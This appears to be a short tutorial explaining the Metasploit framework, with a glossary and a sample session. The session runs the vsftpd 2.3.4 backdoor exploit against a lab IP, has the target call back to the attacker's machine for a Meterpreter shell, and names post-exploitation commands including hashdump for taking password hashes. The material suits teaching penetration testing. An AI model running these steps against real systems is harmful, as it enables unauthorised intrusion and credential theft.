In a nutshell Metasploit packages thousands of ready exploits, payloads and tools behind one consistent interface. Instead of finding and compiling an exploit by hand, you pick a module, set a few options, and run it. The industrial toolbox of the exploitation stage — powerful, and worth understanding rather than just firing.
What a "framework" gives you
Without it, exploiting a known bug means hunting down someone's code, fixing it, compiling it, and figuring out how to get a shell back. Metasploit standardizes all of that into one flow:
Analogy — a professional's toolbox vs. a pile of loose parts. You could forge each tool. Metasploit is the organized case where every tool is labelled, fits the same handle, and comes with instructions — you spend effort choosing the right one, not building it.
The vocabulary
| Term | Meaning |
|---|---|
msfconsole |
the main command-line you drive it from |
| exploit | code that abuses a specific vulnerability to get access |
| payload | what runs after success — the star is Meterpreter, an in-memory shell |
| auxiliary | non-exploit modules: scanners, fuzzers, login brute-forcers |
RHOSTS / LHOST |
the target / your machine for the payload to connect back to |
A typical session
msfconsole
search vsftpd 2.3.4 find a module for a known-vuln service
use exploit/unix/ftp/vsftpd_234_backdoor
show options what must I set?
set RHOSTS 10.10.10.5 the target
set LHOST 10.8.0.1 my machine
run fire → catch a Meterpreter session
Then getuid, sysinfo, hashdump drive post-exploitation.